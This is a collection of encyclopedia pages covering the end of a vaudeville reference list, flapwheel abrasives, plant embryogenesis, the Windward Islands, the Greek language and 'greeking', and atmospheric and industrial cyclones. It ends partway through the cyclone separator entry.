10. ^ Gilbert, Douglas (1940). American Vaudeville: Its Life and Times. Whittlesey House.
11. ^ Webwerks. "The New York Tribune: Vaudeville". Retrieved January 17, 2012.
12. ^ "Vaudeville: About Vaudeville". PBS American Masters.
13. ^ Erdman, Andrew L. (January 20, 2007). Blue Vaudeville. McFarland & Company, Inc. ISBN 978-0786431151.
14. ^ Williams, William H. A. (2002). "Green Again: Irish-American Lace-Curtain Satire". New Hibernia Review. JSTOR 20557792.
15. ^ Barrett, James (2012). The Irish Way: Becoming American in the Multi-Ethnic City. New York: The Penguin Press. p. 107.
16. ^ a b Barrett, James (2012). The Irish Way: Becoming American in the Multi-Ethnic City. New York: The Penguin Press. ISBN 978-0143122807.
17. ^ Mintz, Lawrence E. (1996). "Humor and Ethnic Stereotypes in Vaudeville and Burlesque". MELUS. Published by The Society for the Study of the Multi-Ethnic Literature of the United States (MELUS). 21 (4): 19. doi:10.2307/467640. ISSN 0163-755X. Retrieved 2018-05-03.
18. ^ a b Wittke, Carl (1952). "The Immigrant Theme on the American Stage". The Mississippi Valley Historical Review. doi:10.2307/1892181. JSTOR 1892181.
19. ^ Bayor, Ronald (1996). The New York Irish. Baltimore, Maryland: Johns Hopkins University Press. pp. 143–145.
21. ^ a b c Barrett, James (2012). The Irish Way: Becoming American in the Multi-Ethnic City. New York: The Penguin Press. pp. 166–167.
23. ^ Kenrick, John. "History of Musical Film, 1927-30: Part II"., 2004, accessed May 17, 2010
24. ^ Senelick, Laurence (October 22, 2007). Wilmeth, Don B., ed. Cambridge Guide to American Theatre (Second ed.). Cambridge University Press. p. 480. ISBN 978-0521835381. (Subscription required (help)).
25. ^ "The Ancient Art of Falling DownVaudeville Cinema between Hollywood and China". MCLC Resource Center. 2017-08-29. Retrieved 2017-12-14.
26. ^ Hilmes, Michele (February 12, 2010). Only Connect: A Cultural History of Broadcasting in the United States. Cengage Learning. p. 97. ISBN 978-0495570516. ... it is in the form of the variety show itself, network radio's offspring, that we can see the influence of vaudeville on radio most clearly. From The Rudy Vallee Show through Jack Benny and Bing Crosby to TV programs like The Ed Sullivan Show, The Smothers Brothers, Saturday Night Live, In Living Color, and Late Night with David Letterman, we can see strong remnants of vaudeville's typical variety act structure. Combining a host/announcer with comedy sketches, musical performances, dance, monologues, and satiric banter--sometimes even animal acts--the variety show takes myriad forms today. The vaudeville circuit of touring companies and local theatres is gone, but it lives on electronically.
27. ^ Henry, William A., III (1989-05-15). "Theater: Bowing Out with a Flourish". TIME. Retrieved 2010-05-27.
28. ^ "Bill Irwin: Clown Prince". Great Performances. Season 32. December 15, 2004. PBS. Retrieved 2010-09-12.
29. ^ White, James (June 7, 2014). "WWE NXT report 6-6 Tampa". Wrestling Observer Newsletter. Retrieved November 15, 2018.
30. ^ “First International Vaudeville Con Food Drive For Pawcatuck Neighborhood Center”. Broadway World. Retrieved November 15, 2018
31. ^ “First-ever Vaudville Con coming to Pawcatuck Friday”. The Westerly Sun. Retrieved November 15, 2018
32. ^ "Vaudeville Lives: The world's largest Vaudeville memorabilia collection has been donated to the UA". UA News. February 25, 2009.
33. ^ Kibler, M. Alison (April 1992). "The Keith/Albee Collection: The Vaudeville Industry, 1894–1935". From Books at Iowa 56.
External links[edit]
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From Wikipedia, the free encyclopedia
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Early radial flapwheel, for use with an electric drill
A flapwheel and the related flap disk is an abrasive disk, used for metal finishing. Unlike the simpler flat disks, made from a circular flat sheet of a coated abrasive, a flapwheel is made of multiple overlapping small pieces or 'flaps', bonded to a central hub.
The advantages of a flapwheel over a traditional disk are twofold:
• The separate flaps each attack the workpiece surface at a slightly different angle, and this varies slightly with tool angle. This avoids the common problem with flat sheets, where they produce repeated identical scratches.
• Abrasive wear is distributed more evenly across the flaps, and through the length of each flap. Flaps wear from their outer ends and the sheet carrier cuts back as the abrasive coating is worn away. The wheel remains useful even as the flaps erode. Compared to flat sheets, that are discarded after only a small area of the abrasive is truly worn-out, this is a much more efficient use of the abrasive material.
Flap disk for angle grinder use
They appeared in the 1950s and their use was encouraged by developments in gas turbines. These demanded an increased production of fine investment castings that required careful polishing. In particular, the high centrifugal stresses these experienced in service required a finishing technique that did not give rise to oriented scratches that could act as stress risers.
The first flapwheels were made from cut sheets of abrasive, stacked into a multi-layered flat disk.[1] These gained the advantage of long life from their materials, but their geometry was still flat and so they tended to produce surface flats if not carefully handled.
Early flapwheels were large diameter and intended for use on fixed buffing machines.[2] They were used for deburring and polishing of castings, often instead of wire wheels. These cut faster, with less burnishing and surface contamination from the bristles.
Portable flapwheels were made by bonding radial flaps of abrasive into a hub fitted with a spindle shank.[3] These were intended for use with electric drills and were limited to a maximum speed of around 1,000 rpm.
With developments in abrasive coating, the sheet material could withstand greater forces and speeds. This allowed the production of flapwheels for use with high speed angle grinders.[note 1] These disks were different in format: flatter, like the original rigid angle grinder disks, and with the flaps arranged in a densely overlapped layout rather than radial. The extra lifetime this gave to the disk allowed their use for stock removal and metal shaping, not just finishing and polishing.
The flexibility of a flapwheel is an advantage for smoothing curved work and avoids the production of facets, as was a problem for rigid disks. This was taken further advantage of with the development of foam-bonded flapwheels. These use fewer flaps, spaced apart by a flexible foam spacer. This makes them even more flexible, thus more suited for producing a smooth finish to curved surfaces.
1. ^ Angle grinders typically run at speeds around 10,000 rpm.
1. ^ Grind-O-Flex Flap Wheels
2. ^ "Flap Wheels". Schaffner Manufacturing.
3. ^ Flap Wheel Abrasives
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Plant embryogenesis
From Wikipedia, the free encyclopedia
Jump to navigation Jump to search
Plant embryogenesis is a process that occurs after the fertilization of an ovule to produce a fully developed plant embryo. This is a pertinent stage in the plant life cycle that is followed by dormancy and germination.[1] The zygote produced after fertilization, must undergo various cellular divisions and differentiations to become a mature embryo.[1] An end stage embryo has five major components including the shoot apical meristem, hypocotyl, root meristem, root cap, and cotyledons.[1] Unlike animal embryogenesis, plant embryogenesis results in an immature form of the plant, lacking most structures like leaves, stems, and reproductive structures.[2]
Morphogenic events[edit]
Embryogenesis occurs naturally as a result of single, or double fertilzation, of the ovule, giving rise to two distinct structures: the plant embryo and the endosperm which go on to develop into a seed.[3] The zygote goes through various cellular differentiations and divisions in order to produce a mature embryo. These morphogenic events form the basic cellular pattern for the development of the shoot-root body and the primary tissue layers; it also programs the regions of meristematic tissue formation. The following morphogenic events are only particular to eudicots, and not monocots.
This depicts six different moments in embryogenesis.
1. Two cell stage
2. Eight cell stage
3. Globular stage
4. Heart stage
5. Torpedo stage
6. Maturation
1. endosperm
2. single celled zygote
3. embryo
4. suspensor
5. cotyledons
6. shoot apical meristem (SAM)
7. root apical meristem (RAM)
Two cell stage[edit]
Following fertilization, the zygote and endosperm are present within the ovule, as seen in stage I of the illustration on this page. Then the zygote undergoes an asymmetric transverse cell division that gives rise to two cells - a small apical cell resting above a large basal cell.[4][5] These two cells are very different, and give rise to different structures, establishing polarity in the embryo.
apical cell
The small apical cell is on the top and contains most of the cytoplasm, the aqueous substance found within cells, from the original zygote.[6]. It gives rise to the hypocotyl, shoot apical meristem, and cotyledons.[6]
basal cell
The large basal cell is on the bottom and consists of a large vacuole[6] and gives rise to the hypophysis[4] and the suspensor[4].
Eight cell stage[edit]
After two rounds of longitudinal division, and one round of transverse division, an eight-celled embryo is the result.[7] Stage II, in the illustration above, indicates what the embryo looks like during the eight cell stage. According to Laux et al., there are four distinct domains during the eight cell stage.[8] The first two domains contribute to the embryo proper. The apical embryo domain, gives rise to the shoot apical meristem and cotyledons. The second domain, the central embryo domain , gives rise to the hypocotyl, root apical meristem, and parts of the cotyledons. The third domain, the basal embryo domain, contains the hypophysis. The hypophysis will later give rise to the radicle and the root cap. The last domain, the suspensor, is the region at the very bottom, which connects the embryo to the endosperm for nutritional purposes.
Sixteen cell stage[edit]
Additional cell divisions occur, which leads to the sixteen cell stage. The four domains are still present, but they are more defined with the presence of more cells. The important aspect of this stage is the introduction of the protoderm, which is meristematic tissue that will give rise to the epidermis.[7] The protoderm is the outermost layer of cells in the embryo proper.[7]
Globular stage[edit]
The name of this stage is indicative of the embryo's appearance at this point in embryogenesis; it is spherical or globular. Stage III, in the photograph above, depicts what the embryo looks like during the globular stage. 1 is indicating the location of the endosperm. The important component of the globular phase is the introduction of the rest of the primary meristematic tissue. The protoderm was already introduced during the sixteen cell stage. According to Evert and Eichhorn, the ground meristem and procambium are initiated during the globular stage.[7] The ground meristem will go on to form the ground tissue, which includes the pith and cortex. The procambium will eventually form the vascular tissue, which includes the xylem and phloem.
Heart stage[edit]
According to Evert and Eichhorn, the heart stage is a transition period where the cotyledons finally start to form and elongate.[7] It is given this name in eudicots because most plants from this group have two cotyledons, giving the embryo a heart shaped appearance. Between the cotyledons is where the shoot apical meristem lies. Stage IV, in the illustration above, indicates what the embryo looks like at this point in development. 5 indicates the position of the cotyledons.
Torpedo stage[edit]
This stage is defined by the continued growth of the cotyledons and axis elongation.[7] In addition, programmed cell death must occur during this stage. This is carried out throughout the entire growth process, like any other development.[9] However, in the torpedo stage of development, parts of the suspensor complex must be terminated.[9] The suspensor complex is shortened because at this point in development most of the nutrition from the endosperm has been utilized, and there must be space for the mature embryo.[10] After the suspensor complex is gone, the embryo is fully developed.[8] Stage V, in the illustration above, indicates what the embryo looks like at this point in development.
The second phase, or postembryonic development, involves the maturation of cells, which involves cell growth and the storage of macromolecules (such as oils, starches and proteins) required as a 'food and energy supply' during germination and seedling growth. The appearance of a mature embryo is seen in Stage VI, in the illustration above.
The end of embryogenesis is defined by an arrested development phase, or stop in growth. This phase usually coincides with a necessary component of growth called dormancy. Dormancy is a period in which a seed cannot germinate, even under optimal environmental conditions, until a specific requirement is met.[11] Breaking dormancy, or finding the specific requirement of the seed, can be rather difficult. For example, a seed coat can be extremely thick. According to Evert and Eichhorn, very thick seed coats must undergo a process called scarification, in order to deteriorate the coating.[12] In other cases, seeds must experience stratification. This process exposes the seed to certain environmental conditions, like cold or smoke, to break dormancy and initiate germination.
The role of auxin[edit]
Auxin is a hormone related to the elongation and regulation of plants.[13] It also plays an important role in the establishment polarity with the plant embryo. Research, conducted by Cooke, Racusen, and Cohen, has shown that the hypocotyl from both gymnosperms and angiosperms show auxin transport to the root end of the embryo[14] They hypothesized that the embryonic pattern is regulated by the auxin transport mechanism, and the polar positioning of cells within the ovule. The importance of auxin was shown, in their research, when carrot embryos, at different stages, were subjected to auxin transport inhibitors. The inhibitors that these carrots were subjected to made them unable to progress to later stages of embryogenesis. During the globular stage of embryogenesis, the embryos continued spherical expansion. In addition, oblong embryos continued axial growth, without the introduction of cotyledons. During the heart embryo stage of development there were additional growth axes on hypocotyls. Further auxin transport inhibition research, conducted on Brassica juncea, show that after germination, the cotyledons were fused and not two separate structures.
Alternative forms of embryogenesis[edit]
Somatic embryogenesis[edit]
Somatic embryos are formed from plant cells that are not normally involved in the development of embryos, i.e. ordinary plant tissue. No endosperm or seed coat is formed around a somatic embryo. Applications of this process include: clonal propagation of genetically uniform plant material; elimination of viruses; provision of source tissue for genetic transformation; generation of whole plants from single cells called protoplasts; development of synthetic seed technology. Cells derived from competent source tissue are cultured to form an undifferentiated mass of cells called a callus. Plant growth regulators in the tissue culture medium can be manipulated to induce callus formation and subsequently changed to induce embryos to form the callus. The ratio of different plant growth regulators required to induce callus or embryo formation varies with the type of plant. Asymmetrical cell division also seems to be important in the development of somatic embryos, and while failure to form the suspensor cell is lethal to zygotic embryos, it is not lethal for somatic embryos.
The process of androgenesis allows a mature plant embryo to form from a reduced, or immature, pollen grain.[15] Androgenesis usually occurs under stressful conditions.[15] Embryos that result from this mechanism can germinate into fully functional plants. As mentioned, the embryo results from a single pollen grain. Pollen grains consists of three cells - one vegetative cell containg two generative cells. According to Maraschin et al., androgenesis must be triggered during the asymmetric division of microspores.[15] However, once the vegetative cell starts to make starch and proteins, androgenesis can no longer occur. Maraschin et al., indicates that this mode of embryogenesis consists of three phases. The first phase is the acquisition of embryonic potential, which is the repression of gametophyte formation, so that the differentiation of cells can occur. Then during the initiation of cell divisions, multicellular structures begin to form, which are contained by the exine wall. The last step of androgenesis is pattern formation, where the embryo-like structures are released out of the exile wall, in order for pattern formation to continue.
After these three phases occur, the rest of the process falls in line with the standard embryogenesis events.
Plant growth and buds[edit]
Embryonic tissue is made up of actively growing cells and the term is normally used to describe the early formation of tissue in the first stages of growth. It can refer to different stages of the sporophyte and gametophyte plant; including the growth of embryos in seedlings, and to meristematic tissues,[16] which are in a persistently embryonic state,[17] to the growth of new buds on stems.[18]
In both gymnosperms and angiosperms, the young plant contained in the seed, begins as a developing egg-cell formed after fertilization (sometimes without fertilization in a process called apomixis) and becomes a plant embryo. This embryonic condition also occurs in the buds that form on stems. The buds have tissue that has differentiated but not grown into complete structures. They can be in a resting state, lying dormant over winter or when conditions are dry, and then commence growth when conditions become suitable. Before they start growing into stem, leaves, or flowers, the buds are said to be in an embryonic state.
Notes and references[edit]
1. ^ a b c Goldberg, Robert; Paiva, Genaro; Yadegari, Ramin (October 28, 1994). "Plant Embryogenesis: Zygote to Seed". Science. 266: 605–614 – via Google Scholar.
2. ^ Jurgens, Gerd (May 19, 1995). "Axis formation in plant embryogenesis: cues and clues". Cell. 81: 467–470 – via Google Scholar.
3. ^ Radoeva, Tatyana; Weijers, Dolf (November 2014). "A roadmap to embryo identity in plants". Trends in Plant Science. 19: 709–716 – via Google Scholar.
4. ^ a b c West, Marilyn A. L.; Harada, John J. (October 1993). "Embryogenesis in Higher Plants: An Overview". The Plant Cell. 5: 1361–1369 – via Google Scholar.
5. ^ Peris, Cristina I. Llavanta; Rademacher, Eike H.; Weijers, Dolf (2010). "Chapter 1 Green Beginnings - Pattern Formation in the Early Plant Embryo". In Timmermans, Marja C. P. Plant development (print)|format= requires |url= (help) (1st ed.). San Diego, CA: Academic Press (imprint of Elsevier). pp. 1–27. ISBN 978-0-12-380910-0.
6. ^ a b c Souter, Martin; Lindsey, Keith (June 2000). "Polarity and signaling in plant embryogenesis". Journal of Experimental Botany. 51: 971–983 – via Google Scholar.
7. ^ a b c d e f Evert, Ray F.; Eichhorn, Susan E. (2013). Raven Biology of Plants. New York: W. H. Freeman and Company. pp. 526–530.
8. ^ a b Laux, T.; Wurschum, T.; Breuninger, Holger. "Genetic Regulation of Embryonic Pattern Formation". The Plant Cell. 6: 190–202 – via Google Scholar.
9. ^ a b Bozhkov, P. V.; Filonova, L. H.; Suarez, M. F. (January 2005). "Programmed cell death in plant embryogenesis". Current Topics in Developmental Biology. 67: 135–179 – via Google Scholar.
11. ^ Baskin, Jeremy M.; Baskin, Carol C. (2004). "A classification system for seed dormancy" (PDF). Seed Science Research. 14: 1–16 – via Google Scholar.
13. ^ Liu, C; Xu, Z; Chua, N. "Auxin Polar Transport Is Essential for the Establishment of Bilateral Symmetry during Early Plant Embryogenesis". The Plant Cell. 5: 621–630 – via Google Scholar.
14. ^ Cooke, T. J.; Racusen, R. H.; Cohen, J. D. (November 1993). "The role of auxin in plant embryogenesis". Plant Cell. 11: 1494–1495 – via Google Scholar.
15. ^ a b c Maraschin, S. F.; de Priester, W.; Spaink, H. P.; Wang, M. (July 2005). "Androgenic switch: an example of plant embryogenesis from the male gametophyte perspective". Journal of Experimental Botany. 56: 1711–1726 – via Google Scholar.
16. ^ Pandey, Brahma Prakash. 2005. Textbook of botany angiosperms: taxonomy, anatomy, embryology (including tissue culture) and economic botany. New Delhi: S. Chand & Company. p 410.
17. ^ McManus, Michael T., and Bruce E. Veit. 2002. Meristematic tissues in plant growth and development. Sheffield: Sheffield Academic Press.
18. ^ Singh, Gurcharan. 2004. Plant systematics: an integrated approach. Enfield, NH: Science Publishers. p 61.
External links[edit]
- A site on the developing plant embryo from a molecular genetics perspective
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Windward Islands
(redirected from Windward Isles)
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Windward Islands,
southern group of the Lesser Antilles in the West Indies, curving generally southward for c.300 mi (480 km) from the Leeward IslandsLeeward Islands
, northern group of the Lesser Antilles in the West Indies, extending SE from Puerto Rico to the Windward Islands. The principal islands are the American Virgin Islands; the French island and overseas dept.
..... Click the link for more information.
toward NE Venezuela. Excluding BarbadosBarbados
, island state (2005 est. pop. 279,300), 166 sq mi (430 sq km), in the West Indies. The capital and largest city is Bridgetown. Land, People, and Economy
The island, E of St. Vincent, in the Windward Islands, is the easternmost of the Caribbean islands.
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and Trinidad and TobagoTrinidad and Tobago
, officially Republic of Trinidad and Tobago, republic (2005 est. pop. 1,088,000), 1,980 sq mi (5,129 sq km), West Indies. The capital is Port of Spain.
..... Click the link for more information.
, which are in the region but are not part of the group, the Windward Islands consist of the French overseas dept. of MartiniqueMartinique
, overseas department and administrative region of France (2005 est. pop. 433,000), 425 sq mi (1,101 sq km), in the Windward Islands, West Indies. Fort-de-France is the capital. The department and the island of Martinique are coextensive.
..... Click the link for more information.
and the former British Windward Islands (c.700 sq mi/1,810 sq km). The former British islands consist of the independent states of DominicaDominica
, officially Commonwealth of Dominica, republic (2005 est. pop. 69,000) consisting of the island of Dominica (290 sq mi/750 sq km), located in the Windward Islands, West Indies. Roseau is the capital and chief port.
..... Click the link for more information.
, GrenadaGrenada
, independent state within the Commonwealth of Nations (2005 est. pop. 89,500), 133 sq mi (344 sq km), in the Windward Islands, West Indies. The state includes the island of Grenada (120 sq mi/311 sq km) and the southern half of the archipelago known as the Grenadines, a
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, Saint LuciaSaint Lucia
, island nation (2005 est. pop. 166,000), 238 sq mi (616 sq km), West Indies, one of the Windward Islands. The capital is Castries. Morne Gimie (3,145 ft/959 m high) and the twin pyramidal cones known as the Pitons are the most imposing landmarks.
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, and Saint Vincent and the GrenadinesSaint Vincent and the Grenadines,
island nation (2005 est. pop. 118,000), 150 sq mi (388 sq km), West Indies, in the Windward Islands. It comprises the island of Saint Vincent (140 sq mi/363 sq km) and about two thirds of the small Grenadine islands to the south.
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Of volcanic origin, the islands are generally rugged, mountainous, and well forested, and they have many streams and lakes. With an equable climate, ample rainfall, and rich soil, they produce a variety of tropical agricultural crops for export, including bananas, spices, limes, and cacao. The islands are subject to hurricanes. Although small-scale manufacturing has gained importance, the most substantial change has been the growth of the tourist trade, which constitutes the region's economic mainstay. The deep and sheltered harbors encourage considerable interisland commerce. Fort-de-FranceFort-de-France
, city (1999 pop. 94,049), capital of the French overseas dept. of Martinique, West Indies. It is a popular tourist resort and a free port, exporting mainly bananas, sugar, and rum.
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, on Martinique, and CastriesCastries
, town (1991 pop. 11,147; 1991 metropolitan area pop. 51,994), capital and commercial center of Saint Lucia. Its excellent landlocked harbor is one of the best in the West Indies. Castries was founded by the French in 1650.
..... Click the link for more information.
, on Saint Lucia, are the islands' chief cities. The islands are largely inhabited by descendants of Africans, who were brought as slaves during the colonial period. The culture varies from island to island, but the French influence is particularly strong.
For some time after Columbus's exploration of the islands, they were largely ignored by Europeans and left to the indigenous Caribs. In the early 17th cent., colonization was undertaken by the British and the French; settlements and sovereignty overlapped. The long struggle for dominance in the islands was a significant part of the worldwide Anglo-French conflict. Several naval battles were fought there; in 1782, off Saint Lucia, the French Admiral de Grasse was defeated by Admiral Rodney. In the Napoleonic Wars the islands traded hands, and it was only after the close of the conflict that Britain established its dominance over them.
Windward Islands
a group of volcanic islands in the West Indies marking the eastern boundary of the Caribbean Sea; the eastern islands of the Lesser Antilles. Area, approximately 6,000 sq km.; population, more than 1.1 million (1972).
The largest islands are Guadeloupe, Martinique, Dominica, St. Lucia, St. Vincent, Grenada, and Antigua. The islands are the possessions of Great Britain, France, and the Netherlands. The landscape of the larger islands is primarily mountainous. The volcano Diablotin on Dominica has a maximum elevation of 1,586m. There are active volcanoes. The climate is dominated by tropical trade winds and is humid. Natural vegetation has been almost completely destroyed. There are plantations of sugarcane, citrus fruits, cacao, and bananas. The main cities are Fort-de-France on Martinique and Point-à-Pitre and Basse-Terre on Guadeloupe.
References in periodicals archive ?
British supermarket chains should feel honour-bound to give a commitment that they will stock Windward Isles bananas in the long-term.
British consumers should actively support Windward Isles bananas, and our supermarkets must help us do so by giving them pride of place on their shelves.
Known as the Helen of the West Indies, St Lucia, at 238 square miles, is the second largest of the Windward Isles which line the eastern fringe of the Caribbean.
Windward Isles banana growers will be selling their own fruit through a new directly controlled sales office from January 1, as part of sweeping changes announced this week.
I shake Swiss muesli into my bowl, adding California raisins, chunks of bananas from the Windward Isles, Turkish figs, a splash of Jersey milk and Greek yoghurt.
Geest Bananas has won agreement to market its Windward Isles fruit under the Fairtrade label following discussions this week with the Fairtrade Foundation and the producers association WINFA.
Fyffes and the Windward Isles Banana Development and Exporting Co have withdrawn the allegations of deceit and all other claims they made against Geest which related to the purchase of Geest's banana business in early 1996.
Chiquita goes on to say it supports a WTO consistent direct aid mechanism for ACP producers such as the Windward Isles.
If it were, the UK would face a storm of protest, particularly with regard to jamaica, the Windward Isles, Belize and Surinam.
it has exclusive arrangements in Belize and Surinam, and handles a third of the Jamaican crop and one sixth from the Windward Isles.
Geest Bananas, based at Southampton, is equally owned by the Windward Isles Banana Development and Export Company (Wibdeco) and the Fyffes Group following its purchase from Geest plc this year.
Wibdeco is owned by the governments and 20,000 banana growers in the Windward Isles.
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(redirected from beware the Greeks bearing gifts)
Also found in: Dictionary, Thesaurus, Idioms.
the official language of Greece, constituting the Hellenic branch of the Indo-European family of languages
the language of the Greeks; together with Old Macedonian, forms the Greek branch of the Indo-European languages. The number of speakers of Greek is more than 9 million. In the history of the language, a distinction is usually made between Ancient and Modern Greek.
Four periods are distinguished in the development of Ancient Greek: (1) the most ancient period, beginning with the first written monuments, the Cretan-Mycenaean Linear B from the 14th to 12th centuries B.C., and lasting until the spread of the Ancient Greek alphabet at the turn of the eighth century B.C.; (2) the classical period, from the origin of literature in Ancient Greek dialects in the eighth and seventh centuries B.C. until the spread of the Attic dialect in the fourth century B.C. over almost the entire territory inhabited by the Greeks; (3) the Hellenistic-Romaic period, which was the period of the Koine, the language common to all Greeks, which formed from the Attic dialect and spread after the campaigns of Alexander of Macedonia (fourth century B.C.) over the entire eastern Mediterranean region, where it also became the dominant language during the subordination of Greece to Rome (second century B.C. to the fourth century A.D.); (4) the late Ancient Greek, or early Byzantine, period, from the transfer of the capital of the empire to Constantinople and the separation of the Western Roman Empire in the fourth century A.D. to the time of the complete displacement of Latin by Greek in the fifth to seventh centuries.
Based on the analysis of the Ancient Greek of much later times, from which written texts have been preserved, the following oldest dialects of Greek may be distinguished: (1) the Ionic-Attic dialect group (the Attic dialect and Ionic speech, which spread from the continent to Euboea, the Cy-clades, and the coast of Asia Minor); (2) the Arcadian-Cyprian-Pamphylian group, which appears to have spread initially over a considerable part of southern Greece and the surrounding islands but was displaced in the 12th to 11th centuries B.C. by other dialects and preserved only in isolated expressions; (3) the Aeolian group (the speech of the north-western coast of Asia Minor, the island of Lesbos, and the Thessalian and Boeotian dialects); (4) the Doric group, distinct from the three preceding groups and divided in turn into the following subgroups: the Doric itself, or Southern Doric (the Laconic, Messenian, Argolic-Aeginetan, Corinthian, and Megarian dialects and the speech of the islands of Thera, Milos, Rhodes, and Crete), and Western Doric (the dialects of Aetolia, Locris, Phocis, Achaea, and Elis).
The Dorians moved from northwestern Greece to the Peloponnesus toward the end of the first period. The creation of the heroic Greek epic—the poems of Homer, which have come down to us in a much later recorded form (sixth century B.C.)—came in this period.
During the classical period, Ancient Greek literature developed in four literary dialects: Ionic (Herodotus and others), Attic (Aeschylus, Sophocles, Euripides, and Aristophanes), Doric (Simonides), and Aeolian (Alcaeus and Sappho).
The third (Hellenistic-Romaic) period of the history of Greek literature is characterized by the spreading of the Koine (Attic, basically urban popular speech, but also incorporating many elements of the Ionic and other dialects) both throughout Greece and far beyond her borders and by the formation of a literary language with strict rules, based on the classical Attic dialect. The literary language also preserved this character during the early Byzantine period.
The phonetics of the classical Ancient Greek (Attic) literary language is characterized by the contrasting of short and long vowels and diphthongs and by its musical (tonic) stress; its morphology is characterized by four cases, a variety of declension types, and a rich system of tenses and moods. As early as the Hellenistic-Romaic period, the spoken language exhibited certain changes that grew stronger in the fourth period (late Ancient Greek).
The grammar of the spoken Greek underwent the greatest change after the early Byzantine period, when several features that are characteristic of other Balkan languages appeared, especially in syntax and in the system of conjugation. From that time it became possible to speak of the existence of spoken Modern Greek, although the written literary language continued to adhere to the old Attic rules. In the Byzantine period the differentiation among the Modern Greek dialects increased, mainly because of territorial variations of the Hellenistic-Romaic Koine. After the fall of Byzantium and the conquest by the Turks of all the territory settled by Greeks, the Modern Greek dialects were subjected to strong influences from other languages.
In modern times a common Greek spoken language—the demotic, which is contrasted with the local rural dialects (the northern and southern Greek) and to the written language, which is based on the traditional Attic rules (the so-called Katharevusa, “purified”)—developed on the basis of the urban speech of central Greece. The convergence of the demotic and the Katharevusa is characteristic of 20th-century Greek. The sphere of usage of the written demotic is widening, acquiring various elements of the Katharevusa; whereas that of the Katharevusa is shrinking—losing some archaic forms, it is becoming a so-called mixed dialect.
The phonetic system of Modern Greek has five vowels (i, e, a, o, and u); sibilant affricates (τσ = ts, and τζ= dz), interdental fricatives (θ and δ), and medial consonants are notable in the consonant system. The morphology is characterized by three genders, three cases (nominative, accusative, and genitive), and a unique system of conjugation.
In addition to Modern Greek another language, Tsakonian (on the southern Peloponnesus), originated from Ancient Greek. Several peripheral Modern Greek dialects that have not been influenced by the demotic have in fact become independent nonwritten languages: Urum (the language of Greek colonists in central Transcaucasia, since the 17th century), Tauro-Romaic (the language of Greek colonists in the Azov region, since the end of the 18th century), and Trebizond-Romaic (the language of Greeks living in southern Italy and Corsica).
Sobolevskii, S. I. Drevnegrecheskii iazyk. Moscow, 1948.
Beletskii, A. A. Printsipy etimologicheskikh issledovanii (na matériale grecheskogo iazyka). Kiev, 1950.
Chantraine, P. Istoricheskaia morfologiia grecheskogo iazyka. Moscow, 1953. (Translated from French.)
Ioannidis, A. A. Novogrechesko-russkii slovar’ pod redaktsii A. A. Beletskogo, 2nd ed. Moscow, 1961.
Thumb, A. Handbuch der griechischen Dialekte, vols. 1–2. Heidelberg, 1932–59.
Meillet, A. Aperçu d’une histoire de la langue grecque. Paris, 1937.
Buck, C. D. The Greek Dialects. Chicago, 1955.
Thumb, A. Handbuch der neugriechischen Volkssprache, 2nd ed. Strassburg, 1910.
A related technique is lorem ipsum.
In desktop publishing, to display text in a representative form in which the actual letters are not discernible, because the screen resolution isn't high enough to display them properly. The software lets you set which font sizes should be greeked.
The term comes from typography and graphics design, in which Greek or Latin words are used in a mockup. They hold the position and represent the real text that will be forthcoming. Foreign symbols are used so that the text can be quickly identified as fake.
These pages are greeked in this print preview mode, because there is not enough resolution on screen to display them correctly.
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(redirected from cyclonal)
Also found in: Dictionary, Thesaurus, Medical.
atmospheric pressure distribution in which there is a low central pressure relative to the surrounding pressure. The resulting pressure gradient, combined with the Coriolis effectCoriolis effect
[for G.-G. de Coriolis, a French mathematician], tendency for any moving body on or above the earth's surface, e.g., an ocean current or an artillery round, to drift sideways from its course because of the earth's rotation.
..... Click the link for more information.
, causes air to circulate about the core of lowest pressure in a counterclockwise direction in the Northern Hemisphere and in a clockwise direction in the Southern Hemisphere. Near the surface of the earth, the frictional drag on the air moving over land or water causes it to spiral gradually inward toward lower pressures. This inward movement of air is compensated for by rising currents near the center, which are cooled by expansion when they reach the lower pressures of higher altitudes. The cooling, in turn, greatly increases the relative humidity of the air, so that "lows" are generally characterized by cloudiness and high humidity; they are thus often referred to simply as storms.
According to the theory first proposed by the Norwegian physicist Vilhelm BjerknesBjerknes, Vilhelm Frimann Koren
, 1862–1951, Norwegian physicist and pioneer in modern meteorology. He worked on applying hydrodynamic and thermodynamic theories to atmospheric and hydrospheric conditions in order to predict future weather conditions.
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, the extratropical, or middle-latitude, cyclone originates as a wave, or perturbation, in the polar frontpolar front,
zone of transition between polar and tropical air masses. Its average position during the winter is at about 30° lat. and during the summer at about 60° lat.
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separating the cold polar easterly winds from the warmer prevailing winds farther toward the equator. This wave, once induced by the opposing air currents, is accentuated by the rotational sense of the circulation, which pumps warm, moist air toward the pole around the eastern side of the cyclone center and cold, dry air toward the equator to the west of the center. Such wave cyclones often intensify, expanding the radius of the affected area to 500 mi (805 km) or more, while reducing atmospheric pressure, especially toward the center.
Tropical cyclones, formed over warm tropical oceans, are not associated with frontsfront,
in meteorology, zone of transition between adjacent air masses. If a cold air mass is advancing to replace a warmer one, their mutual boundary is termed a cold front; if the reverse, then the boundary is termed a warm front, whereas a stationary front indicates that no
..... Click the link for more information.
, as are the middle-latitude wave cyclones, nor are they as large as the latter. A tropical cyclone that has matured to a severe intensity is called a hurricanehurricane,
tropical cyclone in which winds attain speeds greater than 74 mi (119 km) per hr. Wind speeds gust over 200 mi (320 km) per hr in some hurricanes. The term is often restricted to those storms occurring over the N Atlantic Ocean; the identical phenomenon occurring over
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when it occurs in the Atlantic Ocean or adjacent seas, a typhoon when it occurs in the Pacific Ocean or adjacent seas, or simply a cyclone or tropical cyclone when it occurs in the Indian Ocean region.
Cyclones in middle latitudes move generally from west to east along with the prevailing winds and cover 500 to 1,000 mi (800–1,610 km) each day; tropical cyclones usually move toward the west with the flow of the trade winds during their formative stages, then curve toward the poles around subtropical anticyclonesanticyclone,
region of high atmospheric pressure; anticyclones are commonly referred to as "highs." The pressure gradient, or change between the core of the anticyclone and its surroundings, combined with the Coriolis effect, causes air to circulate about the core in a clockwise
..... Click the link for more information.
See D. Longshore, Encyclopedia of Hurricanes, Typhoons, and Cyclones (1998).
in industry, a device for removing suspended solid particles or droplets from air or a gas by means of centrifugal force (Figure 1).
A dust-laden gas stream usually enters the upper cylinder of a cyclone through an inlet at high speed; the inlet may be situated at a tangent to the cylindrical surface of the cyclone or may be involute. As a result, the gas acquires rotational motion and spirals
Figure 1. A cyclone: (a) general view, (b) schematic diagram; (1) lower cone, (2) upper cylinder, which forms an annular space, (3) outlet pipe, (4) metal canopy
